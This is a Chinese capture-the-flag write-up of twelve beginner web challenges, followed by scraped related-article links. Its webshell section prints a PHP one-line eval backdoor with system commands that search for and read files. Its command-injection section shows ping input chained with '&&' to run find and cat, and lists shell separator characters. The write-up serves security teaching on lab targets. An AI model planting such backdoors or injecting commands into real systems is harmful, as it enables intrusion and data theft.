攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区)
1.ViewSource
题如其名
Fn + F12
2.get post



3.robots
robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
于是扫描根目录:



4.backup
打开:

常见的备份文件后缀名有: .git .svn .swp .~ .bak .bash_history .bkf
如111.200.241.244:33798/index.php.bak

5.Cookie
Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理。
那么cookie在哪里?

访问http://111.198.29.45:47911/cookie.php,提示查看http响应包,在网络一栏,可看到访问cookie.php的数据包

点击查看数据包,在消息头内可发现flag


6.disabled_button
按钮按不下去,查看源码

input标签有个disable属性
disabled 属性规定应该禁用的
<input>元素。被禁用的 input 元素是无法使用和无法点击的。
删除源码中的disable属性,按钮即可点击,然后得到Flag。

7.weak_auth

小宁写了一个登陆验证页面,随手就设了一个密码,猜测用户名为admin,密码为123456
得到flag
Burpsuite解法:
随便输入密码,用bp截下发送过去的数据包

发送到Intruder,设定payload

结果:

Burpsuite四种攻击类型:
一 、Sniper模式
Sniper模式使用一组payload集合,它一次只使用一个payload位置,假设你标记了两个位置“A”和“B”,payload值为“1”和“2”,那么它攻击会形成以下组合(除原始数据外):
| 攻击序列 | 位置A | 位置B |
|---|---|---|
| 1 | 1 | no replace |
| 2 | 2 | no replace |
| 3 | no replace | 1 |
| 4 | no replace | 2 |
这种模式主要适用于:竞争条件测试(选择Null payloads),密码、验证码暴力破解,重放攻击等场景。
二、Battering ram模式
Battering ram模式与狙击手模式类似的地方是,同样只使用一个payload集合,不同的地方在于每次攻击都是替换所有payload标记位置,而狙击手模式每次只能替换一个payload标记位置。
| 攻击序列 | 位置1 | 位置2 |
|---|---|---|
| 1 | payload1 | payload1 |
| 2 | payload2 | payload2 |
这种模式主要适用于:撞裤。
三、Pitchfork模式
草叉模式允许使用多组payload组合,在每个标记位置上遍历所有payload组合,假设有两个位置“A”和“B”,payload组合1的值为“1”和“2”,payload组合2的值为“3”和“4”,则攻击模式如下:
| 攻击序列 | 位置A | 位置B |
|---|---|---|
| 1 | payload1 | payload3 |
| 2 | payload2 | payload4 |
这种模式主要适用于:恶意注册。
四、Cluster bomb模式
集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积,还是上面的例子,如果用集束炸弹模式进行攻击,则除baseline请求外,会有四次请求:
| 攻击序列 | 位置A | 位置B |
|---|---|---|
| 1 | payload1 | payload3 |
| 2 | payload1 | payload4 |
| 3 | payload2 | payload3 |
| 4 | payload2 | payload4 |
8.simple_php
考点:

“php" == 0结果为TRUE,故“php” == 0 and "php"为TRUE,此处php可为其他任意字符串
第二处考点类似,填入b=1235a即可绕过
is_numeric() 函数用于检测变量是否为数字或数字字符串。

php弱类型比较小结
php中有两种比较的符号 == 与 ===
1 <?php
2 $a = $b ;
3 $a===$b ;
4 ?>
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
这里明确了说如果一个数值和字符串进行比较的时候,会将字符串转换成数值
1 <?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true
7 ?> //上述代码可自行测试
1 观察上述代码,"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等
2 "1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0,为什么呢?见下
3 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
对于上述的问题我查了php手册
当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1 <?php
2 $test=1 + "10.5"; // $test=11.5(float)
3 $test=1+"-1.3e3"; //$test=-1299(float)
4 $test=1+"bob-1.3e3";//$test=1(int)
5 $test=1+"2admin";//$test=3(int)
6 $test=1+"admin2";//$test=1(int)
7 ?>
所以就解释了"admin1"==1 =>False 的原因
9.xff_referer
点开看到:

XFF漏洞也称为IP欺骗。
有些服务器通过XFF头判断是否是本地服务器,当判断为本地服务器时,才能访问相关内容。
如:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1
故:修改XFF头的信息,即可绕过服务器的过滤。
右键发送到repeater,并在包尾添加X-Forwarded-For: 123.123.123.123,发送

收到回应:必须来自https://www.google.com

在包尾添加:Referer: https://www.google.com

得到flag:

10.Webshell
前情提要:一句话木马工作原理
<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。
实例:
<?php @eval($_POST['shell']);?>
将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

解法1:使用HackBar
POST:shell=system("find / -name 'flag*'");//在系统中查找名字中带有flag的文件并显示路径

继续POST:shell= system(“cat /var/www/html/flag.txt”);
得到flag:

解法2:使用Burpsuite
同理,拦截到页面请求,将其转到Repeater,并在最下方加入请求参数:shell = system(“find / -name ‘flag*’”);

查看Response,最下方有目标文件路径:

修改Repeater中的请求参数为:shell= system(“cat /var/www/html/flag.txt”);

查看Respond中的flag:

解法3:使用蚁剑
如图所示

连接后即可看到flag

11.command_execution
本题考的是命令执行漏洞方面的知识。
首先,我们要知道命令执行漏洞是什么:
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
比如题目中,直接把用户输入的参数不经过过滤直接放在ping命令之后,而恶意攻击者可以在输入的参数中用&&截断,而执行下一个恶意命令
常见的连接符有:
| 常见连接符 | 举例 | 效果 |
|---|---|---|
| ; | A;B | 先执行A,再执行B |
| & | A&B | 简单拼接,A B之间无制约关系 |
| | | A|B | 显示B的执行结果 |
| && | A&&B | A执行成功,然后才会执行B |
| || | A||B | A执行失败,然后才会执行B |
ping本机,有回显:

再输入:127.0.0.1 && find / -name "flag*"
相当于ping -c 127.0.0.1 && find / -name "flag*";在成功执行ping 127.0.0.1命令后,执行在本地找flag的指令

于是cat flag:
输入127.0.0.1 && cat "/home/flag.txt",得到flag:

12.simple_js
输错密码,检查元素,发现js代码

function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";//FAUX PASSWORD HAHA
var tab = pass_enc.split(',');//split() 方法用于把一个字符串分割成字符串数组。
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)
break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
发现无论输入什么密码,都会提示FAUX PASSWORD HAHA
由于String["fromCharCode"](xxx)和String.fromCharCode(xxx)是一样的
所以那段话就是将一串16进制转成ascii码再转成字符,即得到flag
攻防世界Web刷题记录(新手区)的更多相关文章
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界web进阶题—unfinish
攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...
- 攻防世界web进阶题—bug
攻防世界web进阶题-bug 1.打开题目看一下源码,没有问题 2.扫一下目录,没有问题 3.查一下网站的组成:php+Apache+Ubuntu 只有登录界面 这里可以可以想到:爆破.万能密码.进行 ...
- web刷题记录 极客大挑战2019Knife upload buy a flag
极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...
- BUGKU web刷题记录
web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界 WEB 高手进阶区 NSCTF web2 Writeup
攻防世界 WEB 高手进阶区 NSCTF web2 Writeup 题目介绍 题目考点 php基本函数语法 加密解密函数 base64_decode().str_rot13() 字符串反转函数 str ...
随机推荐
- WPF 基础 - 点击事件的执行顺序及 Button 点击事件的特殊性
1. 点击事件的执行顺序 PreviewMouseLeftButtonDown PreviewMouseDown MouseLeftButtonDown MouseDown PreviewMouseL ...
- Apache配置 5.访问日志不记录静态文件
介绍:项目中的CSS.图片.js都是静态文件.一般会将静态文件放到一个单独的目录中,以方便管理. 1. 配置 # vim /usr/local/apache2.4/conf/extra/httpd-v ...
- cocos 向左滚动公告
properties:{ lblNotice:[cc.Node], speed:1, curtext:null }, start (){ this.getNotice(); }, getNotic ...
- 一文弄懂js的执行上下文与执行上下文栈
目录 执行上下文与执行上下文栈 变量提升与函数提升 变量提升 函数提升 变量提升与函数提升的优先级 变量提升的一道题目引出var关键字与let关键字各自的特性 执行上下文 全局执行上下文 函数(局部) ...
- 13、Script file 'E:\Anaconda Distribution\Anaconda\Scripts\pip-script.py' is not present.
pip-script.py文件缺失问题 问题: Script file 'E:\Anaconda Distribution\Anaconda\Scripts\pip-script.py' is not ...
- MarkDown-简单学习
标题 注意:首部添加1-6个"#"号来设置标题大小: 字体 1:粗体 (注意:首尾同时添加2个"*"号来设置) 2:斜体 (注意:首尾同时添加1个"* ...
- 复制文件--cp
cp file1 file2 将文件拷贝到指定路径下 cp -r dir1 dir2 将文件夹拷贝到指定路径下
- 别再面向 for 循环编程了,Spring 自带的观察者模式就很香!
上一篇:JDK 自带的观察者模式就很香! 前段时间栈长给大家分享了什么是观察者模式,以及在 JDK 中如何实现观察者模式,现在都是 Spring 的天下了,今天就再分享下如何在 Spring/ Spr ...
- [二分匹配]Asteroids
A s t e r o i d s Asteroids Asteroids 题目描述 Bessie wants to navigate her spaceship through a dangerou ...
- [树形DP]电子眼
电 子 眼 电子眼 电子眼 题目描述 中山市石一个环境优美.气候宜人的小城市.因为城市的交通并不繁忙,市内的道路网很稀疏.准确地说,中山市有N-1条马路和N个路口,每条马路连接两个路口,每两个路口之间 ...